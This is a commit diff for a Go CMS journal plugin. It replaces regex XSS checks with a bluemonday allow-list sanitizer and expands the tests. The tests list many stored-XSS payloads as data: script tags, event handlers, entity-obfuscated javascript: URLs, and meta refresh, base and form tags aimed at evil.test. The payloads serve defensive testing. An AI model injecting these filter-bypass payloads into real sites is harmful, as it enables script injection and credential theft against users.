fix(classes): sanitize content_html with bluemonday instead of regex checks
- FormatHTML sanitizes the goldmark output with a bluemonday UGC policy extended only with what goldmark and the imported posts and categories use; unsafe markup is stripped, as Winter's Html::clean strips it - HTML the policy keeps whole is stored byte for byte (token comparison) - CheckHTML keeps its signature and 422 contract, refusing HTML the policy would change - the three regexes are gone: the CR-01 bypasses are neutralized and "Data:" or "metadata:" text is no longer refused (WR-01)
This commit is contained in:
@@ -18,7 +18,7 @@ WinterCMS theme components such as `journalPost` and `journalPosts` are a later
|
||||
|
||||
## Features
|
||||
|
||||
- **Posts.** `models.Post` maps `golem15_journal_posts`. Translatable fields are title, content, content_html, excerpt, metadata, and slug (indexed). Fillable does not include `redactor_id`, `content_html`, or `user_id`. Attachments `featured_images` and `content_images` use `system_files` under the same MorphName. YAML admin uses `mltext`/`mlmarkdown`. `classes.FormatHTML` regenerates `content_html` on admin save. It passes raw HTML in `content` through unchanged (Winter parity), so imported HTML bodies survive a save, and its gate still refuses script, iframe, object and embed tags, event handlers and javascript, vbscript and data URLs on every write path (admin save, `journal:import-posts`, Journal API writes). The API response shapes are unchanged.
|
||||
- **Posts.** `models.Post` maps `golem15_journal_posts`. Translatable fields are title, content, content_html, excerpt, metadata, and slug (indexed). Fillable does not include `redactor_id`, `content_html`, or `user_id`. Attachments `featured_images` and `content_images` use `system_files` under the same MorphName. YAML admin uses `mltext`/`mlmarkdown`. `classes.FormatHTML` regenerates `content_html` on every write path (admin save, `journal:import-posts`, Journal API writes). It renders markdown and passes raw HTML in `content` through the renderer (Winter parity), then sanitizes the result with a `bluemonday` allow-list: bluemonday's UGC policy plus `footer`, `class`, schema.org microdata, the `color`, `font-size`, `font-weight` and `text-align` styles, goldmark's footnote roles, `dir="auto"` and two pasted-transcript `data-message-*` attributes. Like Winter's `Html::clean`, it strips what the policy does not allow instead of refusing the save: script, style, iframe, object, embed, form, base and meta elements, comments, event handler attributes, and URLs other than http, https, mailto and relative ones. HTML the policy keeps whole is stored byte for byte, so imported bodies survive a save. `content` itself is stored as submitted. The API response shapes are unchanged.
|
||||
- **Categories and tags.** `models.Category` is translatable (name, description, slug). It also stores `content`, an HTML host column that is not translatable, edited in the admin as a textarea. Fillable is name, slug, code, description, content and parent_id; nest_* columns exist in DDL and are not fillable. `models.Tag` is not translatable. Fillable is name, slug, description. Pivots are `golem15_journal_posts_categories` and `golem15_journal_posts_tags`.
|
||||
- **Settings.** Singleton row ID=1 on `golem15_journal_settings`, not PHP `system_settings`. `search_use_typesense` defaults to false. A fresh save never contacts Typesense.
|
||||
- **Public HTTP.** Anonymous GET `/_journal/api/v1/posts`, `/posts/{slug}`, `/categories`, `/tags`, `/rss`, `/authors/{author}`, and `/authors/{author}/posts`. Writes under the same prefix require a cabana backend JWT (`aud=backend`).
|
||||
@@ -177,7 +177,7 @@ func (Post) MorphName() string { return `Golem15\Journal\Models\Post
|
||||
| `models.Settings` | Singleton settings row; `TableName` is `golem15_journal_settings`. |
|
||||
| `models.All` | Models registered by this plugin. |
|
||||
| `updates.All` | gormigrate steps registered by this plugin. |
|
||||
| `classes.CheckHTML` | The `FormatHTML` safety gate for HTML stored as is, such as category content. |
|
||||
| `classes.CheckHTML` | Gate for HTML stored as is, such as category content: refuses HTML that the `FormatHTML` allow-list would strip or change, instead of stripping it. |
|
||||
|
||||
## CLI commands
|
||||
|
||||
@@ -198,7 +198,7 @@ Both commands write JSON files (one per post slug), matching the PHP `journal:ex
|
||||
|
||||
- SummerCMS modules: backpack, beachcomber, bonfire, cabana, lagoon/attach, pact, party, surf.
|
||||
- Compiled plugin: `golem15.translate`.
|
||||
- Third-party: `gorm.io/gorm`, `github.com/go-gormigrate/gormigrate/v2`, `github.com/yuin/goldmark`, `gocloud.dev`. Test-only: `github.com/testcontainers/testcontainers-go`.
|
||||
- Third-party: `gorm.io/gorm`, `github.com/go-gormigrate/gormigrate/v2`, `github.com/yuin/goldmark`, `github.com/microcosm-cc/bluemonday`, `golang.org/x/net/html`, `gocloud.dev`. Test-only: `github.com/testcontainers/testcontainers-go`.
|
||||
|
||||
## Testing
|
||||
|
||||
|
||||
@@ -11,14 +11,29 @@ func TestCheckHTML(t *testing.T) {
|
||||
{"empty", "", true},
|
||||
{"heading and link", `<h2>Cordyceps</h2><p>Plain <a href="https://example.test/a">link</a></p>`, true},
|
||||
{"table", `<table><thead><tr><th>A</th></tr></thead><tbody><tr><td>1</td></tr></tbody></table>`, true},
|
||||
{"polish date label", `<p>Data: 12 maja 2024</p>`, true},
|
||||
{"metadata text", `<p>Some metadata: here</p>`, true},
|
||||
{"quotes, apostrophes and nbsp", `<h2>Co to jest Lion's Mane? </h2><p>"superior herb" & inne</p>`, true},
|
||||
{"pasted chat transcript", `<div data-message-author-role="assistant" data-message-id="cf51192a-db36-4816-8d29-b0606b53d289" dir="auto"><p>x</p></div>`, true},
|
||||
{"script", `<script>alert(1)</script>`, false},
|
||||
{"iframe", `<iframe src="https://example.test/"></iframe>`, false},
|
||||
{"object", `<object data=x>`, false},
|
||||
{"embed", `<embed src=x>`, false},
|
||||
{"event handler", `<img src=x onerror="alert(1)">`, false},
|
||||
{"event handler without a space", `<p><img src="x"onerror="alert(1)"></p>`, false},
|
||||
{"slash-separated svg onload", "<div>\n<svg/onload=alert(1)>\n</div>", false},
|
||||
{"javascript url", `<a href="javascript:alert(1)">`, false},
|
||||
{"numeric entity colon", `<a href="javascript:alert(1)">x</a>`, false},
|
||||
{"named entity colon", `<a href="javascript:alert(1)">x</a>`, false},
|
||||
{"entity inside the scheme", `<a href="javascript:alert(1)">x</a>`, false},
|
||||
{"tab inside the scheme", "<a href=\"java\tscript:alert(1)\">x</a>", false},
|
||||
{"vbscript url mixed case", `<a href="VBScript:x">`, false},
|
||||
{"data url", `<img src="data:image/png;base64,AAAA">`, false},
|
||||
{"base", `<base href="https://evil.test/">`, false},
|
||||
{"meta refresh", `<meta http-equiv="refresh" content="0;url=https://evil.test">`, false},
|
||||
{"form", `<form action="https://evil.test"><input type=password></form>`, false},
|
||||
{"style element", `<style>p { color: red }</style>`, false},
|
||||
{"comment", `<p>a</p><!-- hidden -->`, false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -31,4 +46,16 @@ func TestCheckHTML(t *testing.T) {
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Every stored-XSS payload FormatHTML strips is refused by CheckHTML.
|
||||
for _, tc := range unsafePayloads {
|
||||
if tc.src[0] != '<' {
|
||||
continue // markdown, not HTML
|
||||
}
|
||||
t.Run("payload "+tc.name, func(t *testing.T) {
|
||||
if err := CheckHTML(tc.src); err == nil {
|
||||
t.Fatalf("CheckHTML(%q) = nil, want an error", tc.src)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,14 +2,19 @@ package classes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/microcosm-cc/bluemonday"
|
||||
"github.com/yuin/goldmark"
|
||||
"github.com/yuin/goldmark/extension"
|
||||
"github.com/yuin/goldmark/parser"
|
||||
"github.com/yuin/goldmark/renderer/html"
|
||||
xhtml "golang.org/x/net/html"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -17,49 +22,105 @@ var (
|
||||
goldmark.WithExtensions(extension.Footnote, extension.Table),
|
||||
goldmark.WithParserOptions(parser.WithAttribute()),
|
||||
// Winter's Markdown::parse passes raw HTML through, so imported HTML
|
||||
// bodies round-trip unchanged (D-03, PHP parity); rejectUnsafe gates
|
||||
// the rendered result on every write path.
|
||||
// bodies round-trip (D-03, PHP parity); htmlPolicy then sanitizes the
|
||||
// rendered result on every write path.
|
||||
goldmark.WithRendererOptions(html.WithUnsafe()),
|
||||
)
|
||||
|
||||
markdownUnsafeTag = regexp.MustCompile(`(?i)<(?:script|iframe|object|embed)\b`)
|
||||
markdownEventHandler = regexp.MustCompile(`(?i)\son[a-z]+\s*=`)
|
||||
markdownDangerousURL = regexp.MustCompile(`(?i)(?:javascript|vbscript|data):`)
|
||||
// htmlPolicy is the allow-list for stored journal HTML.
|
||||
htmlPolicy = newHTMLPolicy()
|
||||
)
|
||||
|
||||
// newHTMLPolicy extends bluemonday's UGC policy only with what goldmark
|
||||
// renders and what the imported posts and categories use.
|
||||
func newHTMLPolicy() *bluemonday.Policy {
|
||||
p := bluemonday.UGCPolicy()
|
||||
// Winter neither adds nor requires rel="nofollow", so links keep their
|
||||
// stored form.
|
||||
p.RequireNoFollowOnLinks(false)
|
||||
// Imported author footers: <footer class=... itemscope itemtype=...>.
|
||||
p.AllowElements("footer")
|
||||
p.AllowAttrs("class").Matching(bluemonday.SpaceSeparatedTokens).Globally()
|
||||
p.AllowAttrs("itemscope").Matching(regexp.MustCompile(`^(|itemscope)$`)).Globally()
|
||||
p.AllowAttrs("itemtype").Matching(regexp.MustCompile(`^https?://schema\.org/[A-Za-z]+$`)).Globally()
|
||||
p.AllowAttrs("itemprop").Matching(bluemonday.SpaceSeparatedTokens).Globally()
|
||||
// Inline styles in imported footers and goldmark's table cell alignment.
|
||||
// bluemonday validates each property value.
|
||||
p.AllowStyles("color", "font-size", "font-weight", "text-align").Globally()
|
||||
// goldmark's footnote markup.
|
||||
p.AllowAttrs("role").Matching(regexp.MustCompile(`^doc-(noteref|endnotes|backlink)$`)).OnElements("a", "div")
|
||||
// Pasted chat transcripts in imported category bodies: dir="auto" (the
|
||||
// UGC policy allows only ltr and rtl) and two data attributes.
|
||||
p.AllowAttrs("dir").Matching(regexp.MustCompile(`(?i)^(ltr|rtl|auto)$`)).Globally()
|
||||
p.AllowAttrs("data-message-author-role", "data-message-id").
|
||||
Matching(regexp.MustCompile(`^[A-Za-z0-9_-]+$`)).OnElements("div")
|
||||
return p
|
||||
}
|
||||
|
||||
// FormatHTML converts journal post markdown to stored HTML using goldmark
|
||||
// footnote, table, and attribute extensions. Raw HTML in the source passes
|
||||
// through unchanged; the result then goes through the same rejectUnsafe gate
|
||||
// as cabana.RenderMarkdown. It does not call cabana.RenderMarkdown, whose
|
||||
// admin preview stays without unsafe HTML.
|
||||
// through the renderer, as it does in Winter's Markdown::parse. The result is
|
||||
// then sanitized with a bluemonday allow-list that strips, as Winter's
|
||||
// Html::clean does, what it does not allow: script, style, iframe, object,
|
||||
// embed, form, base and meta elements, event handler attributes, and URLs
|
||||
// other than http, https, mailto and relative ones. HTML that the policy
|
||||
// keeps whole is returned byte for byte, so imported bodies round-trip. It
|
||||
// does not call cabana.RenderMarkdown, whose admin preview stays without
|
||||
// unsafe HTML.
|
||||
func FormatHTML(src string) (string, error) {
|
||||
var buf bytes.Buffer
|
||||
if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
|
||||
return "", fmt.Errorf("journal: markdown: %w", err)
|
||||
}
|
||||
out := buf.String()
|
||||
if err := rejectUnsafe(out); err != nil {
|
||||
return "", err
|
||||
}
|
||||
out, _ := sanitizeHTML(buf.String())
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// CheckHTML applies the FormatHTML safety gate to HTML that is stored as is,
|
||||
// such as category content. It refuses raw script, iframe, object and embed
|
||||
// tags, event handler attributes and javascript, vbscript or data URL schemes.
|
||||
// CheckHTML gates HTML that is stored as is, such as category content. It
|
||||
// uses the FormatHTML allow-list but refuses instead of stripping: doc is
|
||||
// refused when the policy would remove or change any element, attribute or
|
||||
// text in it.
|
||||
func CheckHTML(doc string) error {
|
||||
return rejectUnsafe(doc)
|
||||
}
|
||||
|
||||
func rejectUnsafe(doc string) error {
|
||||
if markdownUnsafeTag.MatchString(doc) {
|
||||
return fmt.Errorf("journal: rendered HTML contains raw unsafe tags")
|
||||
}
|
||||
if markdownEventHandler.MatchString(doc) {
|
||||
return fmt.Errorf("journal: rendered HTML contains event handlers")
|
||||
}
|
||||
if markdownDangerousURL.MatchString(doc) {
|
||||
return fmt.Errorf("journal: rendered HTML contains a dangerous URL scheme")
|
||||
if _, changed := sanitizeHTML(doc); changed {
|
||||
return errors.New("journal: HTML contains elements, attributes or URLs that are not allowed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanitizeHTML returns doc unchanged when htmlPolicy keeps all of it, and the
|
||||
// policy's output with changed set otherwise. Keeping all of it means doc and
|
||||
// the policy output tokenize to the same HTML tokens, so an output that only
|
||||
// re-escapes text or attribute values is not a change.
|
||||
func sanitizeHTML(doc string) (string, bool) {
|
||||
clean := htmlPolicy.Sanitize(doc)
|
||||
if clean == doc || sameTokens(doc, clean) {
|
||||
return doc, false
|
||||
}
|
||||
return clean, true
|
||||
}
|
||||
|
||||
// sameTokens reports whether a and b tokenize to the same sequence of HTML
|
||||
// tokens: type, tag name or decoded text, and the set of decoded attributes.
|
||||
func sameTokens(a, b string) bool {
|
||||
ta, oka := htmlTokens(a)
|
||||
tb, okb := htmlTokens(b)
|
||||
return oka && okb && slices.Equal(ta, tb)
|
||||
}
|
||||
|
||||
func htmlTokens(doc string) ([]string, bool) {
|
||||
var out []string
|
||||
z := xhtml.NewTokenizer(strings.NewReader(doc))
|
||||
for {
|
||||
tt := z.Next()
|
||||
if tt == xhtml.ErrorToken {
|
||||
return out, errors.Is(z.Err(), io.EOF)
|
||||
}
|
||||
t := z.Token()
|
||||
attrs := make([]string, 0, len(t.Attr))
|
||||
for _, a := range t.Attr {
|
||||
attrs = append(attrs, a.Namespace+":"+a.Key+"="+a.Val)
|
||||
}
|
||||
slices.Sort(attrs)
|
||||
out = append(out, fmt.Sprintf("%d|%s|%q", tt, t.Data, attrs))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,76 +3,192 @@ package classes
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
xhtml "golang.org/x/net/html"
|
||||
)
|
||||
|
||||
// TestFormatHTMLRejectsUnsafeHTML substitutes JOURNAL-003/004 Twig XSS
|
||||
// templates (Phase 16). Script, iframe, event handlers, and javascript /
|
||||
// vbscript / data schemes must fail the reject gate. Footnotes and tables
|
||||
// from goldmark extensions still pass.
|
||||
func TestFormatHTMLRejectsUnsafeHTML(t *testing.T) {
|
||||
// unsafePayloads are the stored-XSS inputs FormatHTML and CheckHTML must
|
||||
// neutralize: the JOURNAL-003/004 Twig XSS templates (Phase 16) and the
|
||||
// regex-gate bypasses from the Phase 16.1 code review (CR-01).
|
||||
var unsafePayloads = []struct {
|
||||
name string
|
||||
src string
|
||||
}{
|
||||
{"script", "<script>alert(1)</script>"},
|
||||
{"mixed-case script", "<ScRiPt>alert(1)</sCrIpT>"},
|
||||
{"script inside an HTML block", "<div>\n<p>Intro</p>\n<script>alert(1)</script>\n</div>"},
|
||||
{"script after markdown", "# Title\n\nText.\n\n<script src=\"https://evil.test/x.js\"></script>"},
|
||||
{"iframe", `<iframe src="https://evil.test"></iframe>`},
|
||||
{"upper-case iframe", `<IFRAME SRC="https://evil.test"></IFRAME>`},
|
||||
{"object", `<object data="https://evil.test/x.swf"></object>`},
|
||||
{"embed", `<embed src="https://evil.test/x.swf">`},
|
||||
{"event", `<img src=x onerror="alert(1)">`},
|
||||
{"svg onload", `<svg onload="alert(1)"><circle r="1"/></svg>`},
|
||||
{"mixed-case event handler", `<p OnClick="alert(1)">Click</p>`},
|
||||
{"event handler in an inline element", "Text with <span onmouseover=\"alert(1)\">hover</span>."},
|
||||
{"event handler without a space", `<p><img src="x"onerror="alert(1)"></p>`},
|
||||
{"slash-separated svg onload", "<div>\n<svg/onload=alert(1)>\n</div>"},
|
||||
{"markdown attribute event handler", "# Title {onclick=\"alert(1)\"}"},
|
||||
{"javascript", "[x](javascript:alert(1))"},
|
||||
{"mixed-case javascript href", `<a href="JaVaScRiPt:alert(1)">x</a>`},
|
||||
{"numeric entity colon", `<a href="javascript:alert(1)">x</a>`},
|
||||
{"named entity colon", `<a href="javascript:alert(1)">x</a>`},
|
||||
{"entity inside the scheme", `<a href="javascript:alert(1)">x</a>`},
|
||||
{"tab inside the scheme", "<a href=\"java\tscript:alert(1)\">x</a>"},
|
||||
{"newline inside the scheme", "<p><a href=\"java\nscript:alert(1)\">x</a></p>"},
|
||||
{"leading space and control characters", "<p><a href=\" \x01javascript:alert(1)\">x</a></p>"},
|
||||
{"mathml xlink href", "<div>\n<math><maction actiontype=statusline xlink:href=\"javascript:alert(1)\">x</maction></math>\n</div>"},
|
||||
{"vbscript", "[x](vbscript:msgbox(1))"},
|
||||
{"raw vbscript href", `<a href="VBScript:msgbox(1)">x</a>`},
|
||||
{"data", "[x](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)"},
|
||||
{"raw data URL attribute", `<img src="data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=">`},
|
||||
{"markdown image with a data URL", ""},
|
||||
{"base", `<base href="https://evil.test/">`},
|
||||
{"meta refresh", `<meta http-equiv="refresh" content="0;url=https://evil.test">`},
|
||||
{"form", `<form action="https://evil.test"><input type=password name=p><button formaction="javascript:alert(1)">go</button></form>`},
|
||||
{"style element", "<style>body { background: url(https://evil.test/x) }</style>"},
|
||||
{"link stylesheet", `<link rel="stylesheet" href="https://evil.test/x.css">`},
|
||||
{"html comment", "<p>a</p><!-- <script>alert(1)</script> -->"},
|
||||
}
|
||||
|
||||
// forbiddenElements must never appear in sanitized journal HTML.
|
||||
var forbiddenElements = map[string]bool{
|
||||
"script": true, "iframe": true, "object": true, "embed": true, "base": true,
|
||||
"meta": true, "form": true, "input": true, "button": true, "style": true,
|
||||
"link": true, "svg": true, "math": true, "maction": true, "frame": true,
|
||||
"frameset": true, "applet": true, "textarea": true, "select": true,
|
||||
}
|
||||
|
||||
// assertNoActiveContent tokenizes doc and fails on forbidden elements, event
|
||||
// handler attributes, any style other than the allowed properties, and
|
||||
// javascript, vbscript or data URLs after entity decoding and after removing
|
||||
// ASCII whitespace and control characters, as a browser's URL parser does.
|
||||
func assertNoActiveContent(t *testing.T, doc string) {
|
||||
t.Helper()
|
||||
z := xhtml.NewTokenizer(strings.NewReader(doc))
|
||||
for {
|
||||
tt := z.Next()
|
||||
if tt == xhtml.ErrorToken {
|
||||
return
|
||||
}
|
||||
if tt == xhtml.CommentToken {
|
||||
t.Fatalf("comment survived: %q", doc)
|
||||
}
|
||||
if tt != xhtml.StartTagToken && tt != xhtml.SelfClosingTagToken && tt != xhtml.EndTagToken {
|
||||
continue
|
||||
}
|
||||
tok := z.Token()
|
||||
if forbiddenElements[tok.Data] {
|
||||
t.Fatalf("element <%s> survived: %q", tok.Data, doc)
|
||||
}
|
||||
for _, a := range tok.Attr {
|
||||
key := strings.ToLower(a.Key)
|
||||
if strings.HasPrefix(key, "on") {
|
||||
t.Fatalf("event handler %s survived: %q", a.Key, doc)
|
||||
}
|
||||
if key == "action" || key == "formaction" || key == "srcdoc" || key == "http-equiv" {
|
||||
t.Fatalf("attribute %s survived: %q", a.Key, doc)
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, r := range strings.ToLower(a.Val) {
|
||||
if r > 0x20 {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
v := b.String()
|
||||
for _, scheme := range []string{"javascript:", "vbscript:", "data:"} {
|
||||
if strings.Contains(v, scheme) {
|
||||
t.Fatalf("%s URL survived in %s: %q", scheme, a.Key, doc)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHTMLSanitizesUnsafeHTML pins CR-01: every payload is rendered
|
||||
// without an error and with all active content stripped, as Winter's
|
||||
// Html::clean strips rather than refuses. Footnotes and tables from goldmark
|
||||
// extensions still render.
|
||||
func TestFormatHTMLSanitizesUnsafeHTML(t *testing.T) {
|
||||
html, err := FormatHTML("# Hello")
|
||||
if err != nil || !strings.Contains(html, "<h1>") {
|
||||
t.Fatalf("safe heading: html=%s err=%v", html, err)
|
||||
}
|
||||
|
||||
table, err := FormatHTML("| a | b |\n| - | - |\n| 1 | 2 |")
|
||||
table, err := FormatHTML("| a | b |\n|:- | -:|\n| 1 | 2 |")
|
||||
if err != nil {
|
||||
t.Fatalf("table markdown: %v", err)
|
||||
}
|
||||
if !strings.Contains(table, "<table") {
|
||||
t.Fatalf("table did not render: %s", table)
|
||||
if !strings.Contains(table, "<table") || !strings.Contains(table, "text-align: right") {
|
||||
t.Fatalf("table or its alignment did not render: %s", table)
|
||||
}
|
||||
|
||||
fn, err := FormatHTML("See footnote.[^1]\n\n[^1]: note")
|
||||
if err != nil {
|
||||
t.Fatalf("footnote markdown: %v", err)
|
||||
}
|
||||
if !strings.Contains(strings.ToLower(fn), "footnote") && !strings.Contains(fn, "<sup") {
|
||||
t.Fatalf("footnote did not render: %s", fn)
|
||||
for _, want := range []string{`<sup id="fnref:1">`, `href="#fn:1"`, `role="doc-noteref"`, `role="doc-endnotes"`, `role="doc-backlink"`} {
|
||||
if !strings.Contains(fn, want) {
|
||||
t.Fatalf("footnote lacks %s: %s", want, fn)
|
||||
}
|
||||
}
|
||||
|
||||
// With unsafe rendering the gate is the only defence, so every case
|
||||
// must be refused with an error, not merely rendered harmless.
|
||||
attrs, err := FormatHTML("# Title {#intro .lead}")
|
||||
if err != nil || !strings.Contains(attrs, `<h1 id="intro" class="lead">Title</h1>`) {
|
||||
t.Fatalf("markdown attributes: html=%s err=%v", attrs, err)
|
||||
}
|
||||
|
||||
for _, tc := range unsafePayloads {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
out, err := FormatHTML(tc.src)
|
||||
if err != nil {
|
||||
t.Fatalf("FormatHTML(%q) = %v, want sanitized output", tc.src, err)
|
||||
}
|
||||
assertNoActiveContent(t, out)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("safe parts of a payload survive", func(t *testing.T) {
|
||||
out, err := FormatHTML(`<p>Zdjęcie: <img src="https://cdn.example.test/a.jpg" alt="a"onerror="alert(1)"></p>`)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if want := `<p>Zdjęcie: <img src="https://cdn.example.test/a.jpg" alt="a"></p>`; out != want {
|
||||
t.Fatalf("got %q, want %q", out, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// TestFormatHTMLKeepsSchemeLikeText pins WR-01: text that merely contains
|
||||
// "data:", "javascript:" or "vbscript:" is not a URL and passes unchanged.
|
||||
func TestFormatHTMLKeepsSchemeLikeText(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
src string
|
||||
name, src, want string
|
||||
}{
|
||||
{"script", "<script>alert(1)</script>"},
|
||||
{"mixed-case script", "<ScRiPt>alert(1)</sCrIpT>"},
|
||||
{"script inside an HTML block", "<div>\n<p>Intro</p>\n<script>alert(1)</script>\n</div>"},
|
||||
{"script after markdown", "# Title\n\nText.\n\n<script src=\"https://evil.test/x.js\"></script>"},
|
||||
{"iframe", `<iframe src="https://evil.test"></iframe>`},
|
||||
{"upper-case iframe", `<IFRAME SRC="https://evil.test"></IFRAME>`},
|
||||
{"object", `<object data="https://evil.test/x.swf"></object>`},
|
||||
{"embed", `<embed src="https://evil.test/x.swf">`},
|
||||
{"event", `<img src=x onerror="alert(1)">`},
|
||||
{"svg onload", `<svg onload="alert(1)"><circle r="1"/></svg>`},
|
||||
{"mixed-case event handler", `<p OnClick="alert(1)">Click</p>`},
|
||||
{"event handler in an inline element", "Text with <span onmouseover=\"alert(1)\">hover</span>."},
|
||||
{"javascript", "[x](javascript:alert(1))"},
|
||||
{"mixed-case javascript href", `<a href="JaVaScRiPt:alert(1)">x</a>`},
|
||||
{"vbscript", "[x](vbscript:msgbox(1))"},
|
||||
{"raw vbscript href", `<a href="VBScript:msgbox(1)">x</a>`},
|
||||
{"data", "[x](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)"},
|
||||
{"raw data URL attribute", `<img src="data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=">`},
|
||||
{"markdown image with a data URL", ""},
|
||||
{"polish date label", "<p>Data: 12 maja 2024</p>", "<p>Data: 12 maja 2024</p>"},
|
||||
{"markdown date label", "Data publikacji: 12 maja 2024", "<p>Data publikacji: 12 maja 2024</p>\n"},
|
||||
{"metadata", "Some metadata: here", "<p>Some metadata: here</p>\n"},
|
||||
{"big data in html", "<p>Big data: trends</p>", "<p>Big data: trends</p>"},
|
||||
{"scheme names in prose", "<p>Pisze się javascript: i vbscript: w tekście.</p>", "<p>Pisze się javascript: i vbscript: w tekście.</p>"},
|
||||
{"quotes and apostrophes", "<p>Lion's Mane, \"superior herb\" & inne</p>", "<p>Lion's Mane, \"superior herb\" & inne</p>"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
out, err := FormatHTML(tc.src)
|
||||
if err == nil {
|
||||
t.Fatalf("FormatHTML accepted unsafe input %q: %s", tc.src, out)
|
||||
if err != nil {
|
||||
t.Fatalf("FormatHTML(%q): %v", tc.src, err)
|
||||
}
|
||||
if out != "" {
|
||||
t.Fatalf("FormatHTML returned HTML with its error: %s", out)
|
||||
if out != tc.want {
|
||||
t.Fatalf("got %q, want %q", out, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHTMLKeepsRawHTML pins D-03: raw HTML in content passes through
|
||||
// unchanged, as Winter's Markdown::parse does, so an imported HTML body
|
||||
// survives an admin save, an import or an API write.
|
||||
// the renderer, as Winter's Markdown::parse does, and HTML the policy allows
|
||||
// is stored byte for byte, so an imported HTML body survives an admin save,
|
||||
// an import or an API write.
|
||||
func TestFormatHTMLKeepsRawHTML(t *testing.T) {
|
||||
const paragraphs = "<p>Grzyby rosną w lesie.</p>\n<p>Druga <b>część</b>.</p>"
|
||||
out, err := FormatHTML(paragraphs)
|
||||
@@ -98,10 +214,13 @@ func TestFormatHTMLKeepsRawHTML(t *testing.T) {
|
||||
}{
|
||||
{"paragraphs", "<p>Pierwszy akapit.</p>\n<p>Drugi akapit z <em>kursywą</em>.</p>\n<p>Trzeci.</p>"},
|
||||
{"class attributes", `<div class="post-body"><p class="lead">Wstęp</p></div>`},
|
||||
{"https link", `<p>Zobacz <a href="https://example.test/grzyby?a=1" class="ext" target="_blank" rel="noopener">źródło</a>.</p>`},
|
||||
{"https link", `<p>Zobacz <a href="https://example.test/grzyby?a=1" class="ext" title="Źródło">źródło</a>.</p>`},
|
||||
{"relative and mailto links", `<p><a href="/blog/grzyby">blog</a> <a href="#przypisy">przypisy</a> <a href="mailto:kontakt@example.test">mail</a></p>`},
|
||||
{"https image", `<p><img src="https://cdn.example.test/img/fungi.jpg" alt="Grzyby" width="640" height="480"></p>`},
|
||||
{"entity in an attribute", `<p><a href="https://example.test/?a=1&b=2" title="Tom & Jerry "quoted"">link</a></p>`},
|
||||
{"entity in an attribute", `<p><a href="https://example.test/?a=1&b=2" title="Tom i Jerry">link</a> <img src="https://cdn.example.test/a.jpg?w=1&h=2" alt="Tom i Jerry"></p>`},
|
||||
{"table", "<table>\n<tr><td>A</td><td>B</td></tr>\n</table>"},
|
||||
{"headings", "<h2>Co to jest Lion's Mane?</h2>\n<h3>Właściwości </h3>"},
|
||||
{"pasted chat transcript", `<div data-message-author-role="assistant" data-message-id="a13366a9-f96b-4d6f-aaa5-0e433176381a" dir="auto"><p>Tekst</p></div>`},
|
||||
{"surrounding whitespace", "\n\n <p>Trimmed.</p> \n"},
|
||||
}
|
||||
for _, tc := range bodies {
|
||||
@@ -132,16 +251,53 @@ func TestFormatHTMLKeepsRawHTML(t *testing.T) {
|
||||
"<strong>pogrubieniem</strong>",
|
||||
`<a href="https://example.test">linkiem</a>`,
|
||||
footer,
|
||||
style,
|
||||
} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Fatalf("output lacks %q:\n%s", want, out)
|
||||
}
|
||||
}
|
||||
// The style element is stripped with its content, as Html::clean
|
||||
// strips <style>.
|
||||
if strings.Contains(out, "<style") || strings.Contains(out, ".source {") {
|
||||
t.Fatalf("style element survived:\n%s", out)
|
||||
}
|
||||
if strings.Contains(out, "raw HTML omitted") {
|
||||
t.Fatalf("goldmark placeholder in output: %s", out)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("imported author footer with microdata and inline styles", func(t *testing.T) {
|
||||
src := "Tekst.\n\n<footer class=\"author-footer\" itemscope itemtype=\"https://schema.org/Person\">\n" +
|
||||
" <div class=\"author-info\">\n" +
|
||||
" <img src=\"https://cdn.example.test/autor.png\" alt=\"Autor\" class=\"author-photo\" itemprop=\"image\">\n" +
|
||||
" <div style=\"font-size: 1.5em; font-weight: bold;\" itemprop=\"name\">Jan Kowalski</div>\n" +
|
||||
" <span style=\"color: #138c74;\" itemprop=\"jobTitle\">Ekspert</span>\n" +
|
||||
" </div>\n</footer>"
|
||||
out, err := FormatHTML(src)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, want := range []string{
|
||||
`<footer class="author-footer" itemscope="" itemtype="https://schema.org/Person">`,
|
||||
`<img src="https://cdn.example.test/autor.png" alt="Autor" class="author-photo" itemprop="image">`,
|
||||
`<div style="font-size: 1.5em; font-weight: bold" itemprop="name">Jan Kowalski</div>`,
|
||||
`<span style="color: #138c74" itemprop="jobTitle">Ekspert</span>`,
|
||||
} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Fatalf("output lacks %q:\n%s", want, out)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("disallowed styles and attributes are stripped", func(t *testing.T) {
|
||||
